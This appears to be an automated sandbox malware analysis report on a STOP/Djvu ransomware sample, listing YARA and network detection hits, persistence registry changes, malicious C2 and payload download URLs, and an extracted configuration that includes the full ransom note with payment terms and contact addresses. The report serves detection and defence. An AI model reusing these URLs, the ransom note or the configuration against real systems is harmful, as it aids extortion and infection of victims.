9.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22f15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22f15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.22f15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.2.F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Click to see the 55 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --AutoStart, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, ProcessId: 2568, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.5 - Destination IP: 188.114.96.3

Timestamp:	2024-07-25T02:00:42.336529+0200
SID:	2803274
Source Port:	49707
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.5 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T02:01:56.726472+0200
SID:	2803274
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key - Source IP: 192.168.2.5 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T02:01:30.271980+0200
SID:	2036334
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.5 - Destination IP: 188.114.96.3

Timestamp:	2024-07-25T02:00:59.862488+0200
SID:	2803274
Source Port:	49731
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.5 - Destination IP: 188.114.96.3

Timestamp:	2024-07-25T02:00:50.926045+0200
SID:	2803274
Source Port:	49719
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.5 - Destination IP: 44.221.84.105

Timestamp:	2024-07-25T02:00:57.674108+0200
SID:	2807908
Source Port:	49730
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup - Source IP: 192.168.2.5 - Destination IP: 1.1.1.1

Timestamp:	2024-07-25T02:00:34.729139+0200
SID:	2838522
Source Port:	58201
Destination Port:	53
Protocol:	UDP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE STOP Ransomware CnC Activity - Source IP: 192.168.2.5 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T02:02:25.105888+0200
SID:	2833438
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.5 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T02:01:25.367314+0200
SID:	2036333
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE STOP Ransomware CnC Activity - Source IP: 192.168.2.5 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T02:01:58.587782+0200
SID:	2833438
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.5 - Destination IP: 188.114.96.3

Timestamp:	2024-07-25T02:00:38.747743+0200
SID:	2803274
Source Port:	49705
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.5 - Destination IP: 44.221.84.105

Timestamp:	2024-07-25T02:00:36.307885+0200
SID:	2807908
Source Port:	49704
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key - Source IP: 192.168.2.5 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T02:02:23.115835+0200
SID:	2036334
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.5 - Destination IP: 44.221.84.105

Timestamp:	2024-07-25T02:01:01.347415+0200
SID:	2807908
Source Port:	49732
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key - Source IP: 192.168.2.5 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T02:01:03.836109+0200
SID:	2036334
Source Port:	49709
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.5 - Destination IP: 44.221.84.105

Timestamp:	2024-07-25T02:01:04.009158+0200
SID:	2807908
Source Port:	49733
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.5 - Destination IP: 188.114.96.3

Timestamp:	2024-07-25T02:00:44.215693+0200
SID:	2803274
Source Port:	49712
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 20.12.23.50 - Destination IP: 192.168.2.5

Timestamp:	2024-07-25T02:01:30.197292+0200
SID:	2022930
Source Port:	443
Destination Port:	49739
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.5 - Destination IP: 44.221.84.105

Timestamp:	2024-07-25T02:01:10.052963+0200
SID:	2807908
Source Port:	49737
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET JA3 Hash - Possible Malware - Fake Firefox Font Update - Source IP: 192.168.2.5 - Destination IP: 52.168.117.173

Timestamp:	2024-07-25T02:00:56.477348+0200
SID:	2028371
Source Port:	49729
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE STOP Ransomware CnC Activity - Source IP: 192.168.2.5 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T02:01:05.680683+0200
SID:	2833438
Source Port:	49716
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.5 - Destination IP: 44.221.84.105

Timestamp:	2024-07-25T02:01:06.884981+0200
SID:	2807908
Source Port:	49735
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.5 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T02:01:03.971414+0200
SID:	2036333
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE STOP Ransomware CnC Activity - Source IP: 192.168.2.5 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T02:01:32.100512+0200
SID:	2833438
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 20.12.23.50 - Destination IP: 192.168.2.5

Timestamp:	2024-07-25T02:00:52.849660+0200
SID:	2022930
Source Port:	443
Destination Port:	49722
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://ddos.dnsnb8.net:799/cj//k2.rar	URL Reputation: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rar	URL Reputation: Label: malware
Source: http://ddos.dnsnb8.net/	URL Reputation: Label: malware
Source: http://zerit.top/dl/build2.exe	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k5.rard	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k3.rar	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k1.rars	Avira URL Cloud: Label: malware
Source: http://fuyt.org/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=trueB2	Avira URL Cloud: Label: malware
Source: http://fuyt.org/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k2.rar.	Avira URL Cloud: Label: malware
Source: http://fuyt.org/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54~	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k2.rar4/	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rar1	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k1.rar.	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k2.rarD	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k2.rarz.h	Avira URL Cloud: Label: malware
Source: http://fuyt.org/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k4.rary	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k5.rarXC:	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rarC:	Avira URL Cloud: Label: phishing
Source: http://fuyt.org/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54z	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k4.rarC:	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k2.rarffice	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k5.rar	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k3.rarE	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k4.rarZ	Avira URL Cloud: Label: malware
Source: http://fuyt.org/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=trueFM	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rarp	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k2.rarq.u	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k4.rar	Avira URL Cloud: Label: malware
Source: http://fuyt.org/test1/get.php	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net/-window-ext-l1-1-0.dll	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k4.raro	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k2.rar&.	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Program Files\7-Zip\Uninstall.exe	Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Avira: detection malicious, Label: W32/Jadtre.B

Found malware configuration

Source: 0000000B.00000002.2094534233.0000000002310000.00000040.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: Djvu {"Download URLs": ["http://zerit.top/dl/build2.exe", "http://fuyt.org/files/1/build3.exe"], "C2 url": "http://fuyt.org/test1/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-0S984cQ4B3\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@sysmail.ch\r\n\r\nReserve e-mail address to contact us:\r\nsupportsys@airmail.cc\r\n\r\nYour personal ID:\r\n0430JIjdm", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\

Multi AV Scanner detection for domain / URL

Source: ddos.dnsnb8.net	Virustotal: Detection: 11%	Perma Link
Source: fuyt.org	Virustotal: Detection: 14%	Perma Link
Source: api.2ip.ua	Virustotal: Detection: 6%	Perma Link
Source: zerit.top	Virustotal: Detection: 12%	Perma Link
Source: http://fuyt.org/files/1/build3.exe$runer	Virustotal: Detection: 13%	Perma Link
Source: http://zerit.top/dl/build2.exe	Virustotal: Detection: 13%	Perma Link
Source: http://ddos.dnsnb8.net:799/cj//k5.rard	Virustotal: Detection: 15%	Perma Link
Source: http://ddos.dnsnb8.net:799/cj//k1.rars	Virustotal: Detection: 11%	Perma Link
Source: http://ddos.dnsnb8.net:799/cj//k3.rar	Virustotal: Detection: 12%	Perma Link
Source: http://ddos.dnsnb8.net:799/cj//k2.rar.	Virustotal: Detection: 11%	Perma Link
Source: http://ddos.dnsnb8.net:799/cj//k1.rar1	Virustotal: Detection: 11%	Perma Link
Source: http://ddos.dnsnb8.net:799/cj//k2.rarD	Virustotal: Detection: 15%	Perma Link
Source: http://fuyt.org/files/1/build3.exe$run	Virustotal: Detection: 15%	Perma Link
Source: https://api.2ip.ua/geo.jsonWC	Virustotal: Detection: 5%	Perma Link
Source: http://ddos.dnsnb8.net:799/cj//k4.rary	Virustotal: Detection: 10%	Perma Link
Source: http://ddos.dnsnb8.net:799/cj//k1.rar.	Virustotal: Detection: 15%	Perma Link
Source: https://api.2ip.ua/	Virustotal: Detection: 5%	Perma Link
Source: http://fuyt.org/files/1/build3.exe	Virustotal: Detection: 11%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	ReversingLabs: Detection: 92%
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	ReversingLabs: Detection: 97%

Multi AV Scanner detection for submitted file

Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	ReversingLabs: Detection: 97%
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Virustotal: Detection: 89%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Joe Sandbox ML: detected
Source: C:\Program Files\7-Zip\Uninstall.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 3_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	3_2_0040E870
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 3_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	3_2_0040EA51
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 3_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	3_2_0040EAA0
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 3_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	3_2_0040EC68
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 3_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	3_2_00410FC0
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 3_2_00411178 CryptDestroyHash,CryptReleaseContext,	3_2_00411178
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	9_2_0040E870
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	9_2_0040EAA0
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	9_2_00410FC0
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_00411178 CryptDestroyHash,CryptReleaseContext,	9_2_00411178
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	9_2_0040EA51
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: 9_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	9_2_0040EC68

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAup7xLNZcQ4MZOSDTvBj6\\n7Shvgof4dZwAEFfM4Qn6EvfybMldng8cq4	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAup7xLNZcQ4MZOSDTvBj6\\n7Shvgof4dZwAEFfM4Qn6EvfybMldng8cq4	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAup7xLNZcQ4MZOSDTvBj6\\n7Shvgof4dZwAEFfM4Qn6EvfybMldng8cq4	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAup7xLNZcQ4MZOSDTvBj6\\n7Shvgof4dZwAEFfM4Qn6EvfybMldng8cq4	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAup7xLNZcQ4MZOSDTvBj6\\n7Shvgof4dZwAEFfM4Qn6EvfybMldng8cq4	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAup7xLNZcQ4MZOSDTvBj6\\n7Shvgof4dZwAEFfM4Qn6EvfybMldng8cq4	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAup7xLNZcQ4MZOSDTvBj6\\n7Shvgof4dZwAEFfM4Qn6EvfybMldng8cq4	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAup7xLNZcQ4MZOSDTvBj6\\n7Shvgof4dZwAEFfM4Qn6EvfybMldng8cq4	9_2_00419F90
